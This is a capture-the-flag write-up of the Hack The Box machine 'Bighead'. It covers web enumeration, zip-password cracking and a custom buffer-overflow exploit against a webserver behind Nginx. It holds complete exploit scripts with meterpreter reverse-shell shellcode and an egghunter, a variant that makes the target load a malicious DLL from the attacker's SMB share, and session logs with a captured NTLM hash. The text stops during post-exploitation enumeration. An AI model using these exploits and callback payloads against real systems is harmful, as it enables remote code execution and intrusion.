Bighead - Hack The Box

Bighead was an extremely difficult box by 3mrgnc3 that starts with website enumeration to find two sub-domains and determine there is a custom webserver software running behind an Nginx proxy. We then need to exploit a buffer overflow in the HEAD requests by creating a custom exploit. After getting a shell, there’s some pivoting involved to access a limited SSH server, then an LFI to finally get a shell as SYSTEM. For the final stretch there is an NTFS alternate data stream with a Keepass file that contains the final flag.

This box took the big part of my weekend when it came out but unfortunately I didn’t keep detailed notes about everything. It was especially hard going back when doing this writeup and remember about the 418 status code and the registry key for the SSH password. Note to self: Always clean-up my notes after doing a box.

The exploit part is especially tricky since there isn’t a lot of buffer space to work with so I had to put my second stage payload in memory first with a POST request then use an egghunter for the first stage payload. There’s also another way to exploit this software without using an egghunter: We can use the LoadLibrary function to remotely load a .dll from our machine over SMB. I’ll try to cover both in this blog post.

Summary

  • Find the code.bighead.htb sub-domain after dirbusting the main website
  • Enumerate code.bighead.htb, find reference to dev.bighead.htb in one of the note file
  • Find the BigheadWebSvr 1.0 webserver running by checking the coffee directory
  • Search github and find that we can download the source code for the BigheadWebSvr webserver
  • Analyse the binary and determine that it is vulnerable to a buffer overflow in HEAD requests
  • Develop a working exploit locally on a 32 bits Windows 7 machine
  • Adapt the exploit so it works through the Nginx reverse proxy
  • Get a working reverse shell with the exploit and a metepreter payload
  • Find a local SSH service listening on port 2020 then set up port forwarding to reach it
  • Find the nginx SSH credentials by looking in the registry then log in to bvshell
  • Find an LFI vulnerability in the Testlink application then use it to get a shell as NT AUTHORITY\SYSTEM
  • Get the user.txt flag and find that the root.txt is accessible but contains a troll
  • Notice that Keepass is installed and that the configuration file contains a keyfile name and database file of root.txt
  • Find that there is an NTFS alternate data stream in the root.txt file that contains the hidden Keepass database file
  • Download the admin.png keyfile, extract the hidden stream, extract the hash from the database file and crack it with John The Ripper
  • Open the Keepass database file with the keyfile and password, then recover the root.txt hash from the database

Tools used

  • Immunity Debugger & x96dbg
  • Metasploit
  • keepass2john
  • John The Ripper

Portscan

There’s a single port open and Nginx is listening on it:

# nmap -sC -sV -p- 10.10.10.112
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-28 21:03 EDT
Nmap scan report for bighead.htb (10.10.10.112)
Host is up (0.0076s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0
|_http-server-header: nginx/1.14.0
|_http-title: PiperNet Comes

Website enumeration: bighead.htb

The main website is a company front page with a contact form at the bottom.

I tried checking the contact form for any stored XSS but I couldn’t find any.

A quick scan with gobuster reveals interesting directories: /backend and /updatecheck

# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://bighead.htb
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/Images (Status: 301)
/assets (Status: 301)
/backend (Status: 302)
/images (Status: 301)
/updatecheck (Status: 302)

backend simply redirects to http://bighead.htb/BigHead and returns a 404 error.

However /updatecheck redirects to http://code.bighead.htb/phpmyadmin/phpinfo.php, so I’ll add that sub-domain to the list of stuff to enumerate.

After adding the sub-domain I can get to the page and it returns a phpinfo() output.

I know the box is running Windows Server 2008 and that it’s 32 bits.

Website enumeration: code.bighead.htb

If I try to browse http://code.bighead.htb/ I’m redirected to http://code.bighead.htb/testlink/ which has another javascript redirect script to http://127.0.0.1:5080/testlink/.

Further enumeration with gobuster:

# gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 25 -u http://code.bighead.htb | grep -vi index
2018/11/24 14:54:15 Starting gobuster

/images (Status: 301)
/img (Status: 301)
/assets (Status: 301)
/mail (Status: 301)
/dev (Status: 301)
/phpmyadmin (Status: 301)
/webalizer (Status: 301)
/dashboard (Status: 301)
/xampp (Status: 301)
/licenses (Status: 301)
/server-status (Status: 200)
/con (Status: 403)
/aux (Status: 403)
/error_log (Status: 403)
/prn (Status: 403)
/server-info (Status: 200)

A couple interesting directories like phpmyadmin, dashboard and xampp but the apps are broken by design and I can’t do anything with them. I got some info about the server architecture from http://code.bighead.htb/server-info?config but that’s about it:

Server Version: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36
Server Architecture: 32-bit

It’s interesting to note that the initial nmap scan found Nginx running on port 80 but here I have Apache running. That means Nginx is probably acting as a reverse proxy or load-balancer in front of Apache.

Next, I enumerated the /testlink directory I found earlier and got the following:

# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://code.bighead.htb/testlink -s 200
/LICENSE (Status: 200)
/ChangeLog (Status: 200)
/Index (Status: 200)
/changelog (Status: 200)
/error (Status: 200)
/index (Status: 200)
/license (Status: 200)
/linkto (Status: 200)
/note (Status: 200)
/plugin (Status: 200)
[...]

The note file is very interesting as it contains a hint:

BIGHEAD! You F%*#ing R*#@*d!

STAY IN YOUR OWN DEV SUB!!!...

You have literally broken the code testing app and tools I spent all night building for Richard!

I don't want to see you in my code again!

Dinesh.

So Bighead broke the app and Dinesh is telling him to get his own DEV sub-domain, maybe I should check if dev.bighead.htb exists…

So after adding this sub-domain to the local hostfile, I can access a new page:

Website enumeration: dev.bighead.htb

Anything that has the word blog and wp-content in it hits an nginx rule and returns a false positive for anything that contains that. I didn’t find anything when I ran gobuster but dirb found the /coffee directory because it looks for more status codes by default.

# dirb http://dev.bighead.htb

GENERATED WORDS: 4612

---- Scanning URL: http://dev.bighead.htb/ ----
+ http://dev.bighead.htb/blog (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_ajax (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_inlinemod (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_report (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_search (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_usercp (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogger (CODE:302|SIZE:161)
+ http://dev.bighead.htb/bloggers (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogindex (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogs (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogspot (CODE:302|SIZE:161)
+ http://dev.bighead.htb/coffee (CODE:418|SIZE:46)
+ http://dev.bighead.htb/wp-content (CODE:302|SIZE:161)

The /coffee directory contains a funny teapot 418 error message.

I also see it’s running a different webserver: BigheadWebSvr 1.0

# curl --head dev.bighead.htb/coffee
HTTP/1.1 200 OK
Date: Tue, 27 Nov 2018 02:20:48 GMT
Content-Type: text/html
Content-Length: 13456
Connection: keep-alive
Server: BigheadWebSvr 1.0

Google shows a github repository for that software: https://github.com/3mrgnc3/BigheadWebSvr

I download BHWS_Backup.zip and saw that the zip file was encrypted. I can extract the hash and crack it with John:

# zip2john BHWS_Backup.zip > hash.txt
BHWS_Backup.zip->BHWS_Backup/ is not encrypted!
BHWS_Backup.zip->BHWS_Backup/conf/ is not encrypted!
# cat hash.txt
BHWS_Backup.zip:$zip2$*0*3*0*231ffea3729caa2f37a865b0dca373d7*d63f*49*61c6e7d2949fb22573c57dec460346954bba23dffb11f1204d4a6bc10e91b4559a6b984884fcb376ea1e2925b127b5f6721c4ef486c481738b94f08ac09df30c30d2ae3eb8032c586f*28c1b9eb8b0e1769b4d3*$/zip2$:::::BHWS_Backup.zip
# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
2 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
3 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
4 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
thepiedpiper89   (BHWS_Backup.zip)
1 1g 0:00:00:00 DONE (2018-11-26 21:41) 100.0g/s 100.0p/s 100.0c/s 100.0C/s thepiedpiper89
Waiting for 3 children to terminate
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Password is : thepiedpiper89

The archive contains the following files:

-rw-r--r-- 1 root root   75 Jul 14  2018 BigheadWebSvr_exe_NOTICE.txt
drwx------ 2 root root 4096 Jul  2  2018 conf
-rw-r--r-- 1 root root 1103 Jun 23  2018 fastcgi.conf
-rw-r--r-- 1 root root 1032 Jun 23  2018 fastcgi_params
-rw-r--r-- 1 root root 2946 Jun 23  2018 koi-utf
-rw-r--r-- 1 root root 2326 Jun 23  2018 koi-win
-rw-r--r-- 1 root root 5265 Jun 23  2018 mime.types
-rw-r--r-- 1 root root 4523 Jul  2  2018 nginx.conf
-rw-r--r-- 1 root root  653 Jun 23  2018 scgi_params
-rw-r--r-- 1 root root  681 Jun 23  2018 uwsgi_params
-rw-r--r-- 1 root root 3736 Jun 23  2018 win-utf

The .exe in the archive was replaced with a note instead:

# cat BigheadWebSvr_exe_NOTICE.txt
I removed this vulnerable crapware from the archive

love
Gilfoyle... :D

The file history on Github shows an older copy of the zip file:

I downloaded the file then tried to extract it but the password is not thepiedpiper89. I cracked the password again and found the older commit uses bighead as the archive password. After extracting the file I can see there is a BigheadWebSvr.exe binary in there instead of the note.

# ls -l
total 132
-rw-r--r-- 1 root root 28540 Jul  2 16:33 bHeadSvr.dll
drwx------ 2 root root  4096 Jul  2 19:56 BHWS_Backup
-rw-r--r-- 1 root root 51431 Jul  2 16:33 BigheadWebSvr.exe
drwx------ 2 root root  4096 Jul  2 19:57 conf
-rw-r--r-- 1 root root  1103 Jun 23 11:50 fastcgi.conf
-rw-r--r-- 1 root root  1032 Jun 23 11:50 fastcgi_params
-rw-r--r-- 1 root root  2946 Jun 23 11:50 koi-utf
-rw-r--r-- 1 root root  2326 Jun 23 11:50 koi-win
-rw-r--r-- 1 root root  5265 Jun 23 11:50 mime.types
-rw-r--r-- 1 root root  4523 Jul  2 15:34 nginx.conf
-rw-r--r-- 1 root root   653 Jun 23 11:50 scgi_params
-rw-r--r-- 1 root root   681 Jun 23 11:50 uwsgi_params
-rw-r--r-- 1 root root  3736 Jun 23 11:50 win-utf
# file BigheadWebSvr.exe 
BigheadWebSvr.exe: PE32 executable (console) Intel 80386, for MS Windows

There is also an nginx config file which shows the following interesting stuff:

location / {
			# Backend server to forward requests to/from
			proxy_pass          http://127.0.0.1:8008;
			proxy_cache_convert_head off;
			proxy_cache_key $scheme$proxy_host$request_uri$request_method;
			proxy_http_version  1.1;
			
			# adds gzip
			gzip_static on;		
		}

location /coffee {
			# Backend server to forward requests to/from
			#rewrite /coffee /teapot/ redirect;
			#return 418;
			proxy_pass          http://127.0.0.1:8008;
			proxy_cache_convert_head off;
			proxy_intercept_errors off;
			proxy_cache_key $scheme$proxy_host$request_uri$request_method;
			proxy_http_version  1.1;
			proxy_pass_header Server;
			# adds gzip
			gzip_static on;		
		}

So, both requests to / and /coffee on dev.bighead.htb are served by that crap custom webserver but only /coffee reveals the server header because of the proxy_pass_header Server config file.

Exploit development (Method #1 using egghunter)

After opening the .exe file in IDA Free, I saw that the binary was compiled with Mingw. From what I googled, none of the protections like DEP/NX are enabled by default when compiling with mingw so that should make exploitation easier.

The main function sets up up the socket listener and creates a ConnectionHandler thread when it receives a connection:

The ConnectionHandler has multiple branches for the different HTTP methods. The HEAD request calls the Function4 function.

The function uses an insecure strcpy to move data around so it’s possible there is a buffer overflow.

I used the open-source x32/64dbg debugger to debug the software.

I setup a breakpoint at the end of Function4 just before it returns.

First, I test with a small payload that should not crash the server just to see if it catches the breakpoint and what the memory layout looks like.

curl --head http://172.23.10.186:8008/AAAAAAAAAAAAAA

The program stops at the breakpoint and EAX contains the memory address where the HEAD request is located.

The memory at 0x175FB28 contains part of the HEAD request.

Next, I try sending 100 bytes and see if I can crash the program.

curl --head http://172.23.10.186:8008/$(python -c 'print "A"*100')

The program crashes, and I can see that the EIP register was overwritten by AAAAAAAA which is not a valid address here.

Next I have to find the exact amount of data to push to overwrite EIP. After I few minutes I was able to find the exact offset:

curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("B"*8))')

I used mona in Immunity Debugger to confirm that no protection are enabled on BigheadWebSvr.exe

Now I need to redirect the execution of the program to the EAX register value since this is where my payload will be located. I will use mona to look for gadgets in the program that I can use to jump to. Specifically, I’m looking for the memory address of a JMP EAX instruction.

I found a gadget at address 0x625012f2 in the bHeadSvr.dll. No protection is enabled on this DLL.

To test, I’ll replace BBBBBBBB from my payload with the memory address of the JMP EAX. Notice the address is in the reverse order to respect the endianess.

curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("f2125062"))')

After the function returns, the EIP points to the JMP EAX instruction.

Then it jumps to the memory address of EAX. We see here we only have 36 bytes of buffer space to work with.

I’ll align the stack first by pushing and popping the EAX value into ESP. To find the opcode for this I used nasm_shell.rb from Metasploit:

# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > push eax
00000000  50                push eax
nasm > pop esp
00000000  5C                pop esp

Edit: In retrospect I don’t this part was required for this exploit, the exploit should have worked anyways because it doesn’t push/pop stuff off the stack.

Since I don’t have much buffer space to work with I’ll use a 32 bytes egghunter. Basically the egghunter is a small shellcode that looks for a marker (the egg) in memory and jumps to it when it finds it. This is the first stage of the exploit, the 2nd stage will be the rest of the shellcode we want to execute and we’ll need to place it in memory with another HTTP request. Mona can generate the code for the egghunter. By default it uses the string w00t for the egg.

The first stage payload is:

  • Align stack
  • Egghunter shellcode
  • JMP EAX

The second stage payload is:

  • w00tw00t (egg)
  • meterpreter payload

The exploit tested locally on my Win7 VM is shown here:

#!/usr/bin/python

from pwn import *

'''
# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=172.23.10.39 LPORT=80
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of python file: 1772 bytes
'''

egg = "\x77\x30\x30\x74" # w00t
payload = egg + egg
payload += "\xbf\x33\x30\xf9\x54\xdd\xc2\xd9\x74\x24\xf4\x5a\x29"
payload += "\xc9\xb1\x56\x31\x7a\x13\x83\xea\xfc\x03\x7a\x3c\xd2"
payload += "\x0c\xa8\xaa\x90\xef\x51\x2a\xf5\x66\xb4\x1b\x35\x1c"
payload += "\xbc\x0b\x85\x56\x90\xa7\x6e\x3a\x01\x3c\x02\x93\x26"
payload += "\xf5\xa9\xc5\x09\x06\x81\x36\x0b\x84\xd8\x6a\xeb\xb5"
payload += "\x12\x7f\xea\xf2\x4f\x72\xbe\xab\x04\x21\x2f\xd8\x51"
payload += "\xfa\xc4\x92\x74\x7a\x38\x62\x76\xab\xef\xf9\x21\x6b"
payload += "\x11\x2e\x5a\x22\x09\x33\x67\xfc\xa2\x87\x13\xff\x62"
payload += "\xd6\xdc\xac\x4a\xd7\x2e\xac\x8b\xdf\xd0\xdb\xe5\x1c"
payload += "\x6c\xdc\x31\x5f\xaa\x69\xa2\xc7\x39\xc9\x0e\xf6\xee"
payload += "\x8c\xc5\xf4\x5b\xda\x82\x18\x5d\x0f\xb9\x24\xd6\xae"
payload += "\x6e\xad\xac\x94\xaa\xf6\x77\xb4\xeb\x52\xd9\xc9\xec"
payload += "\x3d\x86\x6f\x66\xd3\xd3\x1d\x25\xbb\x10\x2c\xd6\x3b"
payload += "\x3f\x27\xa5\x09\xe0\x93\x21\x21\x69\x3a\xb5\x30\x7d"
payload += "\xbd\x69\xfa\xee\x43\x8a\xfa\x27\x80\xde\xaa\x5f\x21"
payload += "\x5f\x21\xa0\xce\x8a\xdf\xaa\x58\x99\x08\xa1\xbf\x89"
payload += "\x34\xb5\xbf\x19\xb1\x53\xef\xc9\x91\xcb\x50\xba\x51"
payload += "\xbc\x38\xd0\x5e\xe3\x59\xdb\xb5\x8c\xf0\x34\x63\xe4"
payload += "\x6c\xac\x2e\x7e\x0c\x31\xe5\xfa\x0e\xb9\x0f\xfa\xc1"
payload += "\x4a\x7a\xe8\x36\x2d\x84\xf0\xc6\xd8\x84\x9a\xc2\x4a"
payload += "\xd3\x32\xc9\xab\x13\x9d\x32\x9e\x20\xda\xcd\x5f\x10"
payload += "\x90\xf8\xf5\x1c\xce\x04\x1a\x9c\x0e\x53\x70\x9c\x66"
payload += "\x03\x20\xcf\x93\x4c\xfd\x7c\x08\xd9\xfe\xd4\xfc\x4a"
payload += "\x97\xda\xdb\xbd\x38\x25\x0e\xbe\x3f\xd9\xcc\xe9\xe7"
payload += "\xb1\x2e\xaa\x17\x41\x45\x2a\x48\x29\x92\x05\x67\x99"
payload += "\x5b\x8c\x20\xb1\xd6\x41\x82\x20\xe6\x4b\x42\xfc\xe7"
payload += "\x78\x5f\x0f\x9d\xf1\x60\xf0\x62\x18\x05\xf1\x62\x24"
payload += "\x3b\xce\xb4\x1d\x49\x11\x05\x1a\x42\x24\x28\x0b\xc9"
payload += "\x46\x7e\x4b\xd8"

stage1 = "POST /coffee HTTP/1.1\r\n"
stage1 += "Host: dev.bighead.htb\r\n"
stage1 += "Content-Length: {}\r\n\r\n".format(len(payload))
stage1 += payload + "\r\n"
stage1 += "\r\n"

r = remote('172.23.10.186', 8008)
r.send(stage1)
r.recv()

r = remote('172.23.10.186', 8008)
jmp_eax = "f2125062"
align_esp = "505C" # push eax, pop esp
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7"
stage2 = align_esp + egghunter + "9090" + jmp_eax

r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n")

When the egghunter is scanning memory, CPU usage goes to 100% for a few seconds.

When it hits the egg, it executes the meterpreter stager and we get a connection:

msf5 exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 172.23.10.186
[*] Meterpreter session 1 opened (172.23.10.39:80 -> 172.23.10.186:49804) at 2019-05-03 19:37:47 -0400

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

Nice, the exploit works locally.

But when I tried running it against Bighead it didn’t work so I replicated the nginx setup locally in Win7 and found that the second stage shellcode was being URL encoded by nginx. To work around this I had to fix the POST request and remove the Content-Type header so it would not URL encode the payload then switch the content body to the raw shellcode (non URL-encoded).

The final exploit looks like this:

#!/usr/bin/python

from pwn import *
import requests

'''
# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=10.10.14.23 LPORT=80
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of python file: 1772 bytes
'''

egg = "\x77\x30\x30\x74" # w00t
payload = egg + egg
payload += "\xb8\xc3\x06\x6e\xa1\xd9\xcd\xd9\x74\x24\xf4\x5f\x2b"
payload += "\xc9\xb1\x56\x83\xef\xfc\x31\x47\x0f\x03\x47\xcc\xe4"
payload += "\x9b\x5d\x3a\x6a\x63\x9e\xba\x0b\xed\x7b\x8b\x0b\x89"
payload += "\x08\xbb\xbb\xd9\x5d\x37\x37\x8f\x75\xcc\x35\x18\x79"
payload += "\x65\xf3\x7e\xb4\x76\xa8\x43\xd7\xf4\xb3\x97\x37\xc5"
payload += "\x7b\xea\x36\x02\x61\x07\x6a\xdb\xed\xba\x9b\x68\xbb"
payload += "\x06\x17\x22\x2d\x0f\xc4\xf2\x4c\x3e\x5b\x89\x16\xe0"
payload += "\x5d\x5e\x23\xa9\x45\x83\x0e\x63\xfd\x77\xe4\x72\xd7"
payload += "\x46\x05\xd8\x16\x67\xf4\x20\x5e\x4f\xe7\x56\x96\xac"
payload += "\x9a\x60\x6d\xcf\x40\xe4\x76\x77\x02\x5e\x53\x86\xc7"
payload += "\x39\x10\x84\xac\x4e\x7e\x88\x33\x82\xf4\xb4\xb8\x25"
payload += "\xdb\x3d\xfa\x01\xff\x66\x58\x2b\xa6\xc2\x0f\x54\xb8"
payload += "\xad\xf0\xf0\xb2\x43\xe4\x88\x98\x0b\xc9\xa0\x22\xcb"
payload += "\x45\xb2\x51\xf9\xca\x68\xfe\xb1\x83\xb6\xf9\xc0\x84"
payload += "\x48\xd5\x6a\xc4\xb6\xd6\x8a\xcc\x7c\x82\xda\x66\x54"
payload += "\xab\xb1\x76\x59\x7e\x2f\x7d\xcd\x8b\xa5\x8f\x1a\xe4"
payload += "\xbb\x8f\x24\xa4\x32\x69\x74\x14\x14\x26\x35\xc4\xd4"
payload += "\x96\xdd\x0e\xdb\xc9\xfe\x30\x36\x62\x94\xde\xee\xda"
payload += "\x01\x46\xab\x91\xb0\x87\x66\xdc\xf3\x0c\x82\x20\xbd"
payload += "\xe4\xe7\x32\xaa\x92\x07\xcb\x2b\x37\x07\xa1\x2f\x91"
payload += "\x50\x5d\x32\xc4\x96\xc2\xcd\x23\xa5\x05\x31\xb2\x9f"
payload += "\x7e\x04\x20\x9f\xe8\x69\xa4\x1f\xe9\x3f\xae\x1f\x81"
payload += "\xe7\x8a\x4c\xb4\xe7\x06\xe1\x65\x72\xa9\x53\xd9\xd5"
payload += "\xc1\x59\x04\x11\x4e\xa2\x63\x21\x89\x5c\xf1\x0e\x32"
payload += "\x34\x09\x0f\xc2\xc4\x63\x8f\x92\xac\x78\xa0\x1d\x1c"
payload += "\x80\x6b\x76\x34\x0b\xfa\x34\xa5\x0c\xd7\x99\x7b\x0c"
payload += "\xd4\x01\x8c\x77\x95\xb6\x6d\x88\xbf\xd2\x6e\x88\xbf"
payload += "\xe4\x53\x5e\x86\x92\x92\x62\xbd\xad\xa1\xc7\x94\x27"
payload += "\xc9\x54\xe6\x6d"

data = {"payload": payload}
proxies = {"http": "http://127.0.0.1:8080"}

s = requests.Session()
r = requests.Request("POST", "http://dev.bighead.htb/coffee/", data=data)
p = r.prepare()
p.body = payload
del p.headers["Content-Type"]
try:
    s.send(p, proxies=proxies, timeout=0.2)
except requests.exceptions.ReadTimeout:
    pass

r = remote("10.10.10.112", 80)
jmp_eax = "f2125062"
align_esp = "505C" # push eax, pop esp
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7"
stage2 = align_esp + egghunter + "9090" + jmp_eax

r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n")

Launching exploit…

# python exploit.py 
[+] Opening connection to 10.10.10.112 on port 80: Done
[*] Closed connection to 10.10.10.112 port 80

msf5 exploit(multi/handler) > 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 10.10.10.112
[*] Meterpreter session 4 opened (10.10.14.23:80 -> 10.10.10.112:49306) at 2019-05-03 20:47:52 -0400

msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > sessions 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: PIEDPIPER\Nelson

Exploit development (Method #2 using LoadLibrary over SMB)

Instead of using an egghunter, we can also use the LoadLibrary function to load a remote DLL hosted on our machine through the Impacket SMB server. Using the debugger, I can see that the LoadLibrary is exported from bheadsrv.dll at address 0x625070C8.

The function is simple and only expects a single parameter: the filename of the DLL file:

HMODULE LoadLibraryA(
  LPCSTR lpLibFileName
);

The exploit uses the same JMP EAX gadget to jump to the beginning of the buffer. Then we align the stack, and set EAX past the buffer and we push it to the stack: this will contain the address of the string of our SMB server. Finally we move the address of LoadLibrary into EBX then CALL EBX to call the function. The filename argument for LoadLibrary is popped from the stack and the DLL is then loaded.

nasm > add al, 0x28
00000000  0428              add al,0x28

nasm > push eax
00000000  50                push eax

nasm > mov ebx, 0x62501B58
00000000  BB581B5062        mov ebx,0x62501b58

nasm > call ebx
00000000  FFD3              call ebx

The final exploit looks like this:

#!/usr/bin/python
from pwn import *
import binascii

r = remote("10.10.10.112", 80)

load_lib = ""
load_lib += "\x80\x04\x28"         # add ah, 28h
load_lib += "\x50"                 # push eax
load_lib += "\xBB\x58\x1B\x50\x62" # 62501B58 ebx -> LoadLibrary
load_lib += "\xFF\xD3"             # call ebx

smb =  "\\\\10.10.14.23\\share\\x.dll"
load_lib = binascii.hexlify(load_lib)
smb = binascii.hexlify(smb)

jmp_eax = "f2125062"
align_esp = "505C" # push eax, pop esp
buf =  align_esp + load_lib + "90" * 24 + jmp_eax + smb
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"
r.send(head)
r.close()

This makes the server download a .dll from my box and execute it. So I can generate a malicious DLL with msfvenom and have the server fetch it to give me a reverse shell:

# msfvenom -p windows/meterpreter/reverse_tcp -o x.dll -f dll LHOST=10.10.14.23 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
Saved as: x.dll

Because the server uses SMB to talk back to us, we’ll start an SMB share with Impacket:

# /usr/share/doc/python-impacket/examples/smbserver.py share .
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Firing up the exploit…

# python smbexploit.py 
191
HEAD /505C042850bb581b5062ffd3909090909090909090909090909090909090909090909090f21250625c5c31302e31302e31342e32335c73686172655c782e646c6c HTTP/1.1
Host: dev.bighead.htb
Connection: close
...
[*] Incoming connection (10.10.10.112,60888)
[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER)
[*] User Nelson\PIEDPIPER authenticated successfully
[*] Nelson::PIEDPIPER:4141414141414141:e8e4ea60eb43ad439299c50c245654ca:010100000000000000f1a060fc85d4017e4c61f17754814500000000010010004f00650051004a00490073005600450002001000730047006b007400540068006f005600030010004f00650051004a00490073005600450004001000730047006b007400540068006f0056000700080000f1a060fc85d40106000400020000000800300030000000000000000000000000200000282e2960465001d017bb89eae52e3c9002f1edefda8c004fd0186e57fb9bd3eb000000000000000000000000
[*] Disconnecting Share(1:IPC$)
...
msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 10.10.10.112
[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.112:60889) at 2018-11-26 21:53:32 -0500

msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: PIEDPIPER\Nelson

Windows enumeration

Now that I finally have a shell, I tried to get user.txt but this version is just a troll:

meterpreter > cat /users/nelson/desktop/user.txt

    .-''-.  .-------.      .---.    .-./`)     _______   .---.  .---.         
  .'_ _   \ |  _ _   \     | ,_|    \ .-.')   /   __  \  |   |  |_ _|         
 / ( ` )   '| ( ' )  |   ,-./  )    / `-' \  | ,_/  \__) |   |  ( ' )         
. (_ o _)  ||(_ o _) /   \  '_ '`)   `-'`"`,-./  )       |   '-(_{;}_)        
|  (_,_)___|| (_,_).' __  > (_)  )   .---. \  '_ '`)     |      (_,_)         
'  \   .---.|  |\ \  |  |(  .  .-'   |   |  > (_)  )  __ | _ _--.   |         
 \  `-'    /|  | \ `'   / `-'`-'|___ |   | (  .  .-'_/  )|( ' ) |   |         
  \       / |  |  \    /   |        \|   |  `-'`-'     / (_{;}_)|   |         
   `'-..-'  ''-'   `'-'    `--------`'---'    `._____.'  '(_,_) '---'         
          .---.       ,-----.    ,---.  ,---.   .-''-.     .-'''-.            
          | ,_|     .'  .-,  '.  |   /  |   | .'_ _   \   / _     \           
        ,-./  )    / ,-.|  \ _ \ |  |   |  .'/ ( ` )   ' (`' )/`--'           
        \  '_ '`) ;  \  '_ /  | :|  | _ |  |. (_ o _)  |(_ o _).              
         > (_)  ) |  _`,/ \ _/  ||  _( )_  ||  (_,_)___| (_,_). '.            
        (  .  .-' : (  '\_/ \   ;\ (_ o._) /'  \   .---..---.  \  :           
         `-'`-'|___\ `"/  \  ) /  \ (_,_) /  \  `-'    /\    `-'  |           
          |        \'. \_/``".'    \     /    \       /  \       /            
          `--------`  '-----'       `---`      `'-..-'    `-...-'             
                ,---------. .---.  .---.     .-''-.                           
                \          \|   |  |_ _|   .'_ _   \                          
                 `--.  ,---'|   |  ( ' )  / ( ` )   '                         
                    |   \   |   '-(_{;}_). (_ o _)  |                         
                    :_ _:   |      (_,_) |  (_,_)___|                         
                    (_I_)   | _ _--.   | '  \   .---.                         
                   (_(=)_)  |( ' ) |   |  \  `-'    /                         
                    (_I_)   (_{;}_)|   |   \       /                          
                    '---'   '(_,_) '---'    `'-..-'                           
                             .---.  .---.    ____       .-'''-. .---.  .---.  
      .-,                    |   |  |_ _|  .'  __ `.   / _     \|   |  |_ _|  
   ,-.|  \ _                 |   |  ( ' ) /   '  \  \ (`' )/`--'|   |  ( ' )  
   \  '_ /  |                |   '-(_{;}_)|___|  /  |(_ o _).   |   '-(_{;}_) 
   _`,/ \ _/                 |      (_,_)    _.-`   | (_,_). '. |      (_,_)  
  (  '\_/ \                  | _ _--.   | .'   _    |.---.  \  :| _ _--.   |  
   `"/  \  )                 |( ' ) |   | |  _( )_  |\    `-'  ||( ' ) |   |  
     \_/``"                  (_{;}_)|   | \ (_ o _) / \       / (_{;}_)|   |  
                             '(_,_) '---'  '.(_,_).'   `-...-'  '(_,_) '---'  

Doing some enumeration next…

System info:

